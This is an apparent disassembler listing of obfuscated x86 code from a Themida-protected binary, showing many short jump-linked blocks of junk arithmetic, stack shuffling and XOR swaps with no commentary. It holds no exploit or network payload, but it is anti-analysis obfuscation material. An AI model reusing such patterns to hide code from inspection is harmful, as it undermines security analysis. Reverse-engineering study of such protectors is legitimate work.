--------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 push esi jmp loc_553A8E ; --------------------------------------------------------------------------- loc_54F1A8: ; CODE XREF: Themida_:00552F19j pop edx and ebx, edx mov edx, [esp] push edx push esp pop edx add edx, 4 push esi jmp loc_5536CC ; --------------------------------------------------------------------------- loc_54F1BD: ; CODE XREF: Themida_:00552EA8j pop ecx pop dword ptr [esp] mov esp, [esp] xchg esi, [esp] jmp loc_55B156 ; --------------------------------------------------------------------------- loc_54F1CC: ; CODE XREF: Themida_:0055460Dj xor ebx, [esp] xor [esp], ebx xchg eax, ebx not eax xchg eax, ebx xor [esp], ebx xor ebx, [esp] xor [esp], ebx mov ebx, [esp] jmp loc_558AA2 ; --------------------------------------------------------------------------- loc_54F1E7: ; CODE XREF: Themida_:0055A11Dj push ebp mov ebp, 1997C216h sub esi, ebp jmp loc_54F516 ; --------------------------------------------------------------------------- loc_54F1F4: ; CODE XREF: Themida_:0055A805j mov [esp], esi mov esi, 64E64C29h jmp loc_55129D ; --------------------------------------------------------------------------- loc_54F201: ; CODE XREF: Themida_:00553D36j push edx mov edx, esp add edx, 4 push eax mov eax, 4 sub edx, eax pop eax xchg edx, [esp] jmp loc_551A1B ; --------------------------------------------------------------------------- loc_54F21B: ; CODE XREF: Themida_:005574C0j shr eax, 5 xor eax, 37ED7E8Eh add ebx, eax pop eax add ebx, edx sub ebx, 36113D6Fh mov edx, [esp] add esp, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54F24E: ; CODE XREF: Themida_:0055A94Cj pop ecx add edi, ebx mov ebx, [esp] add esp, 4 add edi, 2 xchg edi, [esp] jmp loc_5547DF ; --------------------------------------------------------------------------- loc_54F268: ; CODE XREF: Themida_:00559851j xchg edi, [esp] jmp loc_555C92 ; --------------------------------------------------------------------------- loc_54F270: ; CODE XREF: Themida_:0054F0C8j xchg edx, [esp] pop esp xor ax, bx mov bx, [esp] jmp loc_55982F ; --------------------------------------------------------------------------- loc_54F280: ; CODE XREF: Themida_:00559F96j push ebx push 7FB93CC4h pop ebx add ebx, 8046C340h mov edi, ebx pop ebx jmp loc_557C64 ; --------------------------------------------------------------------------- loc_54F295: ; CODE XREF: Themida_:0055A3A6j mov eax, esp push ebp mov ebp, 4 add eax, 461A2A61h jmp loc_54FF2A ; --------------------------------------------------------------------------- loc_54F2A7: ; CODE XREF: Themida_:00555836j mov [esp], edi pop eax pop edi push 2909h mov [esp], ecx mov ecx, esp push eax mov eax, 4 add ecx, eax pop eax sub ecx, 4 xchg ecx, [esp] jmp loc_557D1C ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_55ADB2 ; --------------------------------------------------------------------------- loc_54F2D8: ; CODE XREF: Themida_:0054FDBDj pop edx add bl, 0CFh sub bl, 3Dh movzx eax, al push dword ptr [edi+eax*4] jmp loc_54F320 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push esp pop ecx push eax push 4 pop eax sub ecx, 557207E4h add ecx, eax jmp loc_550AB7 ; --------------------------------------------------------------------------- loc_54F305: ; CODE XREF: Themida_:00557B5Cj push esp pop esi push ebx mov ebx, 98C32B8h xor ebx, 5560B5Bh dec ebx dec ebx and ebx, 2F135E34h jmp loc_5560C0 ; --------------------------------------------------------------------------- loc_54F320: ; CODE XREF: Themida_:0054F2E5j push edx mov edx, 68BE6DA6h xor [esp+4], edx mov edx, [esp] add esp, 4 push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_55774D ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 51AFh mov [esp], edi push eax jmp loc_550143 ; --------------------------------------------------------------------------- loc_54F35C: ; CODE XREF: Themida_:0055916Aj pop edx add esi, 5B5A450Dh add esi, edi jmp loc_551E4E ; --------------------------------------------------------------------------- loc_54F36A: ; CODE XREF: Themida_:00551C14j push eax push 6C627AF4h mov eax, [esp] add esp, 4 sub eax, 1B2644A1h mov ecx, eax jmp loc_552DD7 ; --------------------------------------------------------------------------- loc_54F385: ; CODE XREF: Themida_:00553055j push edi jmp loc_5507FE ; --------------------------------------------------------------------------- loc_54F38B: ; CODE XREF: Themida_:00552598j mov eax, [esp] add esp, 4 add eax, 58660961h pop ecx inc eax shl eax, 2 jmp loc_55441F ; --------------------------------------------------------------------------- loc_54F3A0: ; CODE XREF: Themida_:00552C1Cj pop edi push edx mov edx, 0AC5E43ABh sub ecx, edx mov edx, [esp] add esp, 4 and eax, ecx pop ecx or eax, eax jz loc_554B84 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx sub esp, 4 jmp loc_55706E ; --------------------------------------------------------------------------- loc_54F3C9: ; CODE XREF: Themida_:005580ECj or eax, 55AC0F21h xor eax, 387E9029h jmp loc_553936 ; --------------------------------------------------------------------------- loc_54F3D8: ; CODE XREF: Themida_:00552145j mov ebp, [esp] add esp, 4 and ebp, 27075266h sub ebp, 1CC601AEh xor ebp, 0AEA01EF6h mov esi, ebp jmp loc_5545E4 ; --------------------------------------------------------------------------- loc_54F3FA: ; CODE XREF: Themida_:0055025Ej add esp, 4 mov eax, [esp] add esp, 4 neg dl shr dl, 4 shl dl, 2 shr dl, 6 xor dl, 11h jmp loc_552489 ; --------------------------------------------------------------------------- loc_54F416: ; CODE XREF: Themida_:00559ABCj mov esp, [esp] movzx ax, byte ptr [eax] push small 4D53h mov [esp], ax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54F42A: ; CODE XREF: Themida_:0054FAE9j add edx, edi pop edi push esi mov esi, 4 add edx, esi jmp loc_55A3AB ; --------------------------------------------------------------------------- loc_54F43A: ; CODE XREF: Themida_:0054FE14j add ebp, ecx pop ecx push edi jmp loc_554595 ; --------------------------------------------------------------------------- loc_54F443: ; CODE XREF: Themida_:00559CFBj sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx mov ecx, esp push ebx push edx mov edx, 1FDC5A15h mov ebx, 5C2C1708h xor ebx, edx pop edx sub ebx, 5FB97834h jmp loc_55A834 ; --------------------------------------------------------------------------- loc_54F46C: ; CODE XREF: Themida_:0055296Aj push ebp mov ebp, 6CDD45FFh jmp loc_551638 ; --------------------------------------------------------------------------- mov cx, [esp] push 0B00h mov [esp], ebx push esp mov ebx, [esp] jmp loc_5543CA ; --------------------------------------------------------------------------- loc_54F48C: ; CODE XREF: Themida_:00554D7Dj pop ebx jmp loc_555ACE ; --------------------------------------------------------------------------- loc_54F492: ; CODE XREF: Themida_:00556316j mov ebx, 4FF54B86h inc ebx sub ebx, 74E46459h push eax push ebx jmp loc_555421 ; --------------------------------------------------------------------------- loc_54F4A5: ; CODE XREF: Themida_:00555D78j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5541D2 ; --------------------------------------------------------------------------- loc_54F4B4: ; CODE XREF: Themida_:0054EBDEj pop eax pop dword ptr [esp] jmp loc_556D9F ; --------------------------------------------------------------------------- loc_54F4BD: ; CODE XREF: Themida_:00559622j pop ebx jmp loc_551531 ; --------------------------------------------------------------------------- loc_54F4C3: ; CODE XREF: Themida_:00557A41j mov eax, 59731FA6h push edi mov edi, 2D9B4EB5h push edx push edi jmp loc_555A93 ; --------------------------------------------------------------------------- loc_54F4D5: ; CODE XREF: Themida_:00555845j pop edx push dx mov dl, 2Ch sub bh, 4Ah add bh, dl jmp loc_559627 ; --------------------------------------------------------------------------- loc_54F4E4: ; CODE XREF: Themida_:00550B72j add ecx, 4 sub esp, 4 mov [esp], edx push ebx mov ebx, 770075F4h jmp loc_555F7F ; --------------------------------------------------------------------------- loc_54F4FE: ; CODE XREF: Themida_:0055B05Cj xchg esi, [esp] jmp loc_551409 ; --------------------------------------------------------------------------- loc_54F506: ; CODE XREF: Themida_:00551298j push edi mov edi, 40h and ecx, edi mov edi, [esp] jmp loc_550EEE ; --------------------------------------------------------------------------- loc_54F516: ; CODE XREF: Themida_:0054F1EFj push dword ptr [esp] pop ebp jmp loc_559BDC ; --------------------------------------------------------------------------- loc_54F51F: ; CODE XREF: Themida_:005568FCj push esi mov esi, 1A2A01B7h sub esi, 0A3BDBBB3h push esi jmp loc_55A00D ; --------------------------------------------------------------------------- loc_54F531: ; CODE XREF: Themida_:005527BDj push esi jmp loc_554171 ; --------------------------------------------------------------------------- lodsd push edi mov edi, 5CF93239h add eax, 51BD7079h sub eax, 7A554236h sub eax, edi jmp loc_558AC2 ; --------------------------------------------------------------------------- loc_54F54F: ; CODE XREF: Themida_:0055A0F1j sub ch, 6Eh or dl, ch pop ecx jmp loc_550FE5 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_559D60 ; --------------------------------------------------------------------------- loc_54F563: ; CODE XREF: Themida_:00556818j neg ecx inc ecx xor ecx, 28025CC4h jmp loc_559597 ; --------------------------------------------------------------------------- loc_54F571: ; CODE XREF: Themida_:0055962Aj pop dx sub cl, bh mov ebx, [esp] add esp, 4 add cl, 0A6h and dh, cl push dword ptr [esp] jmp loc_55AC23 ; --------------------------------------------------------------------------- loc_54F588: ; CODE XREF: Themida_:00559C97j mov ebx, esp add ebx, 4 jmp loc_558BE2 ; --------------------------------------------------------------------------- loc_54F595: ; CODE XREF: Themida_:0054FF31j mov [esp], ebx mov ebx, 77965ADBh push ebp mov ebp, 26664F75h or ebp, 0F8F7EDCh neg ebp jmp loc_55509A ; --------------------------------------------------------------------------- loc_54F5B0: ; CODE XREF: Themida_:0055989Aj mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx push ecx jmp loc_554007 ; --------------------------------------------------------------------------- loc_54F5CA: ; CODE XREF: Themida_:00554BA0j add edi, esi pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_553E1B ; --------------------------------------------------------------------------- loc_54F5DB: ; CODE XREF: Themida_:00557C78j mov ebp, esi pop esi xor ebp, 485C5B77h push ecx mov ecx, 1 add ebp, ecx pop ecx push 3869h mov [esp], ebx mov ebx, 0E594E8E0h jmp loc_55156D ; --------------------------------------------------------------------------- loc_54F5FF: ; CODE XREF: Themida_:0055730Fj pop dword ptr [esp] sub esp, 4 jmp loc_553F08 ; --------------------------------------------------------------------------- loc_54F60D: ; CODE XREF: Themida_:005599A0j mov [esp], ebx jmp loc_55739A ; --------------------------------------------------------------------------- loc_54F615: ; CODE XREF: Themida_:0054F991j push 0C49h mov [esp], ebx mov ebx, 7B983B9Eh not ebx jmp loc_557E08 ; --------------------------------------------------------------------------- loc_54F629: ; CODE XREF: Themida_:00553D27j mov al, dh inc al mov dh, al pop eax sub dh, 8Dh mov ah, dh pop edx jmp loc_552B59 ; --------------------------------------------------------------------------- loc_54F63B: ; CODE XREF: Themida_:00550EB9j mov edi, 4 add esi, edi pop edi add esi, 4 xchg esi, [esp] mov esp, [esp] pop dword ptr [edi+40h] add dword ptr [edi+40h], 1CE24E3Bh jmp loc_54EADE ; --------------------------------------------------------------------------- loc_54F65B: ; CODE XREF: Themida_:00555CBCj push 2 pop edx add esi, edx jmp loc_55521F ; --------------------------------------------------------------------------- loc_54F668: ; CODE XREF: Themida_:00556D02j not dl jmp loc_5558AE ; --------------------------------------------------------------------------- loc_54F66F: ; CODE XREF: Themida_:005513E5j add esp, 4 add edx, 581E1EDEh jmp loc_551AF3 ; --------------------------------------------------------------------------- loc_54F680: ; CODE XREF: Themida_:0054FC06j push edx mov edx, 705803E2h or edx, 1E491B3Ah and edx, 38E77174h push eax jmp loc_556C0D ; --------------------------------------------------------------------------- loc_54F698: ; CODE XREF: Themida_:0055808Dj mov bh, dl push eax push ecx jmp loc_552573 ; --------------------------------------------------------------------------- loc_54F6A1: ; CODE XREF: Themida_:00550E2Cj inc ebx not ebx shr ebx, 5 inc ebx add ebx, 4948EC02h jmp loc_556A23 ; --------------------------------------------------------------------------- loc_54F6B3: ; CODE XREF: Themida_:0055244Bj jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54F6B8: ; CODE XREF: Themida_:00552F0Cj mov ebx, 163A4A6Bh xor ebx, 40D92935h not ebx jmp loc_5580FB ; --------------------------------------------------------------------------- loc_54F6CA: ; CODE XREF: Themida_:0054F044j pop esi add esp, 4 sub edi, 201E1D0Eh dec edi xor edi, 59E85621h not edi jmp loc_55951D ; --------------------------------------------------------------------------- loc_54F6E5: ; CODE XREF: Themida_:005534D0j mov edi, 15CC1902h xor edi, 0EA447B0h add edi, 0E497A152h jmp loc_55534D ; --------------------------------------------------------------------------- loc_54F6FB: ; CODE XREF: Themida_:00551CFCj mov edi, 0FFFFFFFFh sub esi, edi jmp loc_553282 ; --------------------------------------------------------------------------- loc_54F707: ; CODE XREF: Themida_:00554B26j xor ebp, edx pop edx shr ebp, 7 add ebp, 6762457Bh jmp loc_555E64 ; --------------------------------------------------------------------------- loc_54F718: ; CODE XREF: Themida_:005562C6j mov edx, 4E332031h sub edx, 4DC4DF01h push 2373h mov [esp], edx mov esi, [esp] jmp loc_551CEF ; --------------------------------------------------------------------------- loc_54F733: ; CODE XREF: Themida_:00551AB6j add dl, 30h xor al, dl pop edx sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], ebx mov bh, 8Ch xor bh, 0EEh shr bh, 3 add bh, 6Eh mov cl, bh jmp loc_55881F ; --------------------------------------------------------------------------- loc_54F75D: ; CODE XREF: Themida_:00552BABj mov [esp], ebp push 7BD5h mov [esp], ebx push 1 mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx xor dword ptr [esp], 2D190512h pop ebp jmp loc_557D0A ; --------------------------------------------------------------------------- loc_54F786: ; CODE XREF: Themida_:00558721j sub ecx, 51972B0Fh add ecx, ebx jmp loc_554BE7 ; --------------------------------------------------------------------------- loc_54F793: ; CODE XREF: Themida_:00557F52j pop edi add esp, 4 push small word ptr [eax] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54F7A2: ; CODE XREF: Themida_:00553D2Dj pop edi jmp loc_55A39A ; --------------------------------------------------------------------------- loc_54F7A8: ; CODE XREF: Themida_:00555678j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54F7BF: ; CODE XREF: Themida_:0055A99Dj xchg eax, [esp] mov esp, [esp] inc word ptr [esp] pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54F7CF: ; CODE XREF: Themida_:00551DB7j and bh, 12h jmp loc_5533C2 ; --------------------------------------------------------------------------- loc_54F7D7: ; CODE XREF: Themida_:00559701j mov [esp], eax mov eax, 4C10070Fh and eax, 3E2A0CA0h sub eax, 72D11766h push edi mov edi, 13AB4104h sub eax, 43913C22h jmp loc_54F0F8 ; --------------------------------------------------------------------------- loc_54F7F9: ; CODE XREF: Themida_:0055A847j xor edx, 5F5129E4h inc edx jmp loc_557287 ; --------------------------------------------------------------------------- loc_54F805: ; CODE XREF: Themida_:005557EEj pop ecx add al, dh pop edx sub al, 9Dh pop ebx push 5977h mov [esp], edx push ecx mov ch, 5Ch mov dh, 3Bh jmp loc_555A63 ; --------------------------------------------------------------------------- loc_54F81E: ; CODE XREF: Themida_:0055A65Cj and eax, ebp push dword ptr [esp] mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add esp, 4 shr eax, 0Ch xor eax, ecx push 50E3h mov [esp], eax push edi jmp loc_551446 ; --------------------------------------------------------------------------- loc_54F84F: ; CODE XREF: Themida_:0055A2CFj add ebx, ebp pop ebp add ebp, 18CD23BCh add ebp, ebx sub ebp, 18CD23BCh jmp loc_55523E ; --------------------------------------------------------------------------- loc_54F865: ; CODE XREF: Themida_:00556F08j pop esp add al, 0DFh add al, 7Eh sub al, cl sub al, 7Eh jmp loc_550C10 ; --------------------------------------------------------------------------- loc_54F873: ; CODE XREF: Themida_:0055834Cj push ecx mov ecx, 51EC4173h and ecx, 42411FB4h neg ecx or ecx, 651350BBh xor ecx, 0FFBFFEFFh add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_551A52 ; --------------------------------------------------------------------------- loc_54F89E: ; CODE XREF: Themida_:00556FB8j push ecx jmp loc_55357A ; --------------------------------------------------------------------------- loc_54F8A4: ; CODE XREF: Themida_:005571ACj add ebp, 27EC0358h sub ebp, 68FA53A4h shl ebp, 8 add ebp, 95236304h add ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] sub edx, 40940940h sub esp, 4 mov [esp], ecx jmp loc_55539A ; --------------------------------------------------------------------------- loc_54F8D9: ; CODE XREF: Themida_:00555BCDj ; Themida_:0055731Fj ... push dword ptr [edi+24h] push esi mov esi, 66B9409Bh xor [esp+4], esi pop esi jmp loc_551711 ; --------------------------------------------------------------------------- loc_54F8EC: ; CODE XREF: Themida_:0054EE04j mov edx, ebx pop ebx add edx, edi add eax, [edx] mov edx, [esp] add esp, 4 push ebx mov ebx, esp push ecx mov ecx, 4 jmp loc_555217 ; --------------------------------------------------------------------------- loc_54F907: ; CODE XREF: Themida_:00552EC2j sub bl, ch pop cx add bl, cl add bl, 57h add bl, 0A3h pop ecx push ebx mov ebx, 38h jmp loc_55AFFB ; --------------------------------------------------------------------------- loc_54F91F: ; CODE XREF: Themida_:0055306Dj neg edi add edi, 6EF5A4C9h add ebx, edi pop edi and eax, ebx push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 add esp, 4 or eax, eax jz loc_556CAE push dword ptr [edi+1Ch] jmp loc_54F996 ; --------------------------------------------------------------------------- loc_54F94C: ; CODE XREF: Themida_:005569E1j add dword ptr [esp], 79D16285h jmp loc_557938 ; --------------------------------------------------------------------------- loc_54F958: ; CODE XREF: Themida_:00558D4Cj push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_555CC1 ; --------------------------------------------------------------------------- loc_54F96B: ; CODE XREF: Themida_:00551D45j add dword ptr [esp], 4 pop ebx add ebx, 4 push edx push ebx mov ebx, 16264234h neg ebx not ebx jmp loc_5553E5 ; --------------------------------------------------------------------------- loc_54F989: ; CODE XREF: Themida_:00556632j push ecx jmp loc_55679F ; --------------------------------------------------------------------------- loc_54F98F: ; CODE XREF: Themida_:005561C9j push esp pop esi jmp loc_54F615 ; --------------------------------------------------------------------------- loc_54F996: ; CODE XREF: Themida_:0054F947j add dword ptr [esp], 37D004B2h mov ecx, [esp] push 2A66h mov [esp], eax push esp pop eax jmp loc_54FFE3 ; --------------------------------------------------------------------------- loc_54F9AF: ; CODE XREF: Themida_:005551A0j add eax, 4 push edi jmp loc_55605A ; --------------------------------------------------------------------------- loc_54F9BA: ; CODE XREF: Themida_:0055475Fj add edx, 0FFFFFFFFh not edx sub edx, 8A4DBF07h mov ebp, edx mov edx, [esp] add esp, 4 add ecx, ebp pop ebp push esi mov esi, 5E844394h push ebx jmp loc_552D34 ; --------------------------------------------------------------------------- loc_54F9DC: ; CODE XREF: Themida_:00556488j and eax, ebx pop ebx or eax, eax jz loc_54F0A9 push dword ptr [edi+28h] jmp loc_55910A ; --------------------------------------------------------------------------- loc_54F9EF: ; CODE XREF: Themida_:00553CD8j neg ebx push eax mov eax, 291120h sub eax, 93B3CC28h or ebx, eax jmp loc_554EAD ; --------------------------------------------------------------------------- loc_54FA03: ; CODE XREF: Themida_:0055A322j xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_557765 ; --------------------------------------------------------------------------- loc_54FA11: ; CODE XREF: Themida_:00553570j mov ax, [esp] push ebp jmp loc_552619 ; --------------------------------------------------------------------------- loc_54FA1B: ; CODE XREF: Themida_:005589F9j pop esi add edi, 3803707h add edi, ebp sub edi, 3803707h pop ebp xchg edi, [esp] pop esp add eax, 0FDB3F03h push 36BBh mov [esp], ebx jmp loc_553712 ; --------------------------------------------------------------------------- loc_54FA41: ; CODE XREF: Themida_:0055A80Bj push ebp mov ebp, 18925403h shr ebp, 1 jmp loc_557076 ; --------------------------------------------------------------------------- loc_54FA4E: ; CODE XREF: Themida_:0055847Dj pop esp shr eax, 12h xor eax, ecx jmp loc_55297A ; --------------------------------------------------------------------------- loc_54FA59: ; CODE XREF: Themida_:00550040j pop dword ptr [esp] pop esp xor ecx, 66B9409Bh jmp loc_556D91 ; --------------------------------------------------------------------------- mov eax, 71514168h push ecx jmp loc_5552B3 ; --------------------------------------------------------------------------- loc_54FA73: ; CODE XREF: Themida_:0055A8A7j push edx jmp loc_54ED9A ; --------------------------------------------------------------------------- loc_54FA79: ; CODE XREF: Themida_:0055741Bj push cx pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54FA81: ; CODE XREF: Themida_:00552428j shr ecx, 1 neg ecx xor ecx, 0D8E25251h sub edx, 69F63A1Ch jmp loc_5578FD ; --------------------------------------------------------------------------- loc_54FA96: ; CODE XREF: Themida_:00553EC3j mov edx, 0B47EB8CEh add edx, ecx pop ecx shl edx, 8 jmp loc_55075B ; --------------------------------------------------------------------------- loc_54FAA6: ; CODE XREF: Themida_:0055440Aj push dword ptr [esp] pop edx push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp shr eax, 0Ah xor eax, ecx xchg eax, edi push edi xchg eax, [esp] not eax xchg eax, [esp] push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_557F6C ; --------------------------------------------------------------------------- loc_54FADA: ; CODE XREF: Themida_:0054EFB1j shl edi, 2 add edi, 6E7D2969h sub edi, 0EF7D6D6Dh jmp loc_54F42A ; --------------------------------------------------------------------------- loc_54FAEE: ; CODE XREF: Themida_:00558540j xor esi, 3FDB516Fh sub edi, esi jmp loc_5563E4 ; --------------------------------------------------------------------------- loc_54FAFB: ; CODE XREF: Themida_:0055494Cj mov dx, [esp] push esi jmp loc_558DF3 ; --------------------------------------------------------------------------- loc_54FB05: ; CODE XREF: Themida_:00553BD9j push edx mov edx, 71B451EFh shl edx, 4 sub edx, 88C521E9h push ebp mov ebp, edx mov edi, ebp pop ebp jmp loc_55117C ; --------------------------------------------------------------------------- loc_54FB1F: ; CODE XREF: Themida_:00555A8Ej add edx, 4 xchg edx, [esp] mov esp, [esp] push dword ptr [esp] mov ecx, [esp] push 7223h jmp loc_555F6C ; --------------------------------------------------------------------------- loc_54FB3B: ; CODE XREF: Themida_:00553B6Dj pop ecx sub al, bl pop ebx sub al, 3Fh sub al, cl add al, 3Fh add al, 58h push dword ptr [esp] push dword ptr [esp] jmp loc_554AD7 ; --------------------------------------------------------------------------- loc_54FB52: ; CODE XREF: Themida_:005513C8j sub ch, 0A8h add ch, 0FAh sub bl, ch push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add al, bl pop ebx sub esp, 4 mov [esp], ebx mov bh, 0AAh inc bh jmp loc_54FBCA ; --------------------------------------------------------------------------- loc_54FB86: ; CODE XREF: Themida_:005510CEj xor edi, 1EB094C0h or eax, edi pop edi shr eax, 1 jmp loc_550289 ; --------------------------------------------------------------------------- loc_54FB96: ; CODE XREF: Themida_:0054FC1Dj not edx xor edx, 0E3F13130h add ecx, edx pop edx add edx, ecx pop ecx jmp loc_559BAA ; --------------------------------------------------------------------------- loc_54FBA9: ; CODE XREF: Themida_:00552735j or ebp, 1622319Dh sub ebp, 368E32B5h add eax, 5085573Fh jmp loc_55ACBD ; --------------------------------------------------------------------------- loc_54FBBF: ; CODE XREF: Themida_:00558D6Bj sub esp, 4 mov [esp], esi jmp loc_5581D5 ; --------------------------------------------------------------------------- loc_54FBCA: ; CODE XREF: Themida_:0054FB81j sub bh, 0F1h push edx mov dl, 0F0h push ebx jmp loc_55A129 ; --------------------------------------------------------------------------- loc_54FBD6: ; CODE XREF: Themida_:00550CA2j pop ebp jmp loc_55B11B ; --------------------------------------------------------------------------- loc_54FBDC: ; CODE XREF: Themida_:00554B35j xchg edi, [esp] pop esp mov [esp], ebx mov ebx, 2 add eax, 7F0C4F40h add eax, ebx sub eax, 7F0C4F40h push dword ptr [esp] pop ebx jmp loc_551FD9 ; --------------------------------------------------------------------------- loc_54FBFD: ; CODE XREF: Themida_:00550AE7j mov esi, esp add esi, 4 push eax jmp loc_54F680 ; --------------------------------------------------------------------------- loc_54FC0B: ; CODE XREF: Themida_:00552DF1j push edx mov edx, 43F24FFAh not edx and edx, 5BE96EB8h inc edx shr edx, 4 jmp loc_54FB96 ; --------------------------------------------------------------------------- loc_54FC22: ; CODE XREF: Themida_:00552392j mov eax, [esp] add esp, 4 push 881h mov [esp], eax mov eax, esp jmp loc_557C7D ; --------------------------------------------------------------------------- loc_54FC3A: ; CODE XREF: Themida_:0054ED3Dj add ebx, eax pop eax jmp loc_551C21 ; --------------------------------------------------------------------------- loc_54FC42: ; CODE XREF: Themida_:005553FDj add bl, 38h sub bl, al sub bl, 38h jmp loc_551805 ; --------------------------------------------------------------------------- loc_54FC4F: ; CODE XREF: Themida_:0055ABB2j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54FC54: ; CODE XREF: Themida_:00559065j push 70B6h mov [esp], edi push esp pop edi jmp loc_5542A3 ; --------------------------------------------------------------------------- loc_54FC63: ; CODE XREF: Themida_:00559D5Bj mov [esp], eax jmp loc_54EF5A ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] push ecx jmp loc_55A440 ; --------------------------------------------------------------------------- loc_54FC7A: ; CODE XREF: Themida_:005546F5j add edx, 4 xchg edx, [esp] pop esp jmp loc_551026 ; --------------------------------------------------------------------------- loc_54FC86: ; CODE XREF: Themida_:0055B028j sub al, 5Eh mov bl, al pop eax push dx jmp loc_559706 ; --------------------------------------------------------------------------- loc_54FC92: ; CODE XREF: Themida_:00558D01j push 20DA4B25h pop ebx sub ebx, 0A8C336CDh mov eax, ebx jmp loc_55A62A ; --------------------------------------------------------------------------- loc_54FCA5: ; CODE XREF: Themida_:0055616Bj sub edx, eax jmp loc_5582C9 ; --------------------------------------------------------------------------- loc_54FCAC: ; CODE XREF: Themida_:0055282Ej add eax, 4 xchg eax, [esp] pop esp jmp loc_558260 ; --------------------------------------------------------------------------- loc_54FCBA: ; CODE XREF: Themida_:0055538Aj mov [esp], esi pop ecx jmp loc_554984 ; --------------------------------------------------------------------------- loc_54FCC3: ; CODE XREF: Themida_:005526ADj xor eax, edi jmp loc_557F4F ; --------------------------------------------------------------------------- loc_54FCCA: ; CODE XREF: Themida_:005582EDj mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_557226 ; --------------------------------------------------------------------------- loc_54FCD7: ; CODE XREF: Themida_:005584CDj pop eax add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 76BE63BAh jmp loc_557D62 ; --------------------------------------------------------------------------- loc_54FCF5: ; CODE XREF: Themida_:005593E3j mov esi, 2852028Bh push ecx mov ecx, 6E955D4Bh mov edi, 0CE817E30h xor edi, ecx jmp loc_556847 ; --------------------------------------------------------------------------- loc_54FD0C: ; CODE XREF: Themida_:00555C0Fj xor edi, ebx pop ebx sub eax, 70A51E96h add eax, edi add eax, 70A51E96h jmp loc_5567C7 ; --------------------------------------------------------------------------- loc_54FD20: ; CODE XREF: Themida_:00554175j xchg esi, [esp] mov eax, [esp] push edi mov edi, esp push ebp jmp loc_551574 ; --------------------------------------------------------------------------- loc_54FD2F: ; CODE XREF: Themida_:00555199j sub bl, 1Fh sub bl, ch add bl, 1Fh pop ecx movzx eax, al lea eax, [edi+eax*4] sub esp, 4 mov [esp], ecx push esp push dword ptr [esp] pop ecx add esp, 4 add ecx, 4 jmp loc_55A2A6 ; --------------------------------------------------------------------------- loc_54FD5A: ; CODE XREF: Themida_:005586DEj shr ecx, 6 jmp loc_555572 ; --------------------------------------------------------------------------- loc_54FD62: ; CODE XREF: Themida_:0055AF39j sub dword ptr [esp], 406574E1h jmp loc_559864 ; --------------------------------------------------------------------------- loc_54FD6E: ; CODE XREF: Themida_:00557E16j pop ecx jmp loc_554752 ; --------------------------------------------------------------------------- loc_54FD74: ; CODE XREF: Themida_:005514C8j mov cl, 0A4h add dh, cl pop ecx jmp loc_550E66 ; --------------------------------------------------------------------------- loc_54FD7E: ; CODE XREF: Themida_:0055AE42j pop ebx add esp, 4 and eax, ebx push dword ptr [esp] pop ebx push ecx push esp mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_553608 ; --------------------------------------------------------------------------- loc_54FD9E: ; CODE XREF: Themida_:0055289Fj mov edi, esp add edi, 4 jmp loc_551B19 ; --------------------------------------------------------------------------- loc_54FDAB: ; CODE XREF: Themida_:00552645j push ebp mov ebp, 303B3180h add ebx, ebp jmp loc_557D48 ; --------------------------------------------------------------------------- loc_54FDB8: ; CODE XREF: Themida_:0055324Cj sub dl, 0D8h sub bl, dl jmp loc_54F2D8 ; --------------------------------------------------------------------------- loc_54FDC2: ; CODE XREF: Themida_:005577F3j push ebx jmp loc_552B4C ; --------------------------------------------------------------------------- loc_54FDC8: ; CODE XREF: Themida_:0055A264j pop ecx add ebp, 0DC566080h xor eax, ebp mov ebp, [esp] add esp, 4 push ebp mov ebp, 32223630h add ebx, 20B1394Bh add ebx, ebp sub ebx, 20B1394Bh pop ebp sub ebx, 58F03EDh add ebx, 26C172F1h jmp loc_5569A1 ; --------------------------------------------------------------------------- mov cx, [esp] push 3F1h mov [esp], ebp mov ebp, esp push ecx mov ecx, 4 jmp loc_54F43A ; --------------------------------------------------------------------------- loc_54FE19: ; CODE XREF: Themida_:00557FA9j mov edx, 2 push edx mov edx, 50880345h add edx, 177A120Dh jmp loc_5548A4 ; 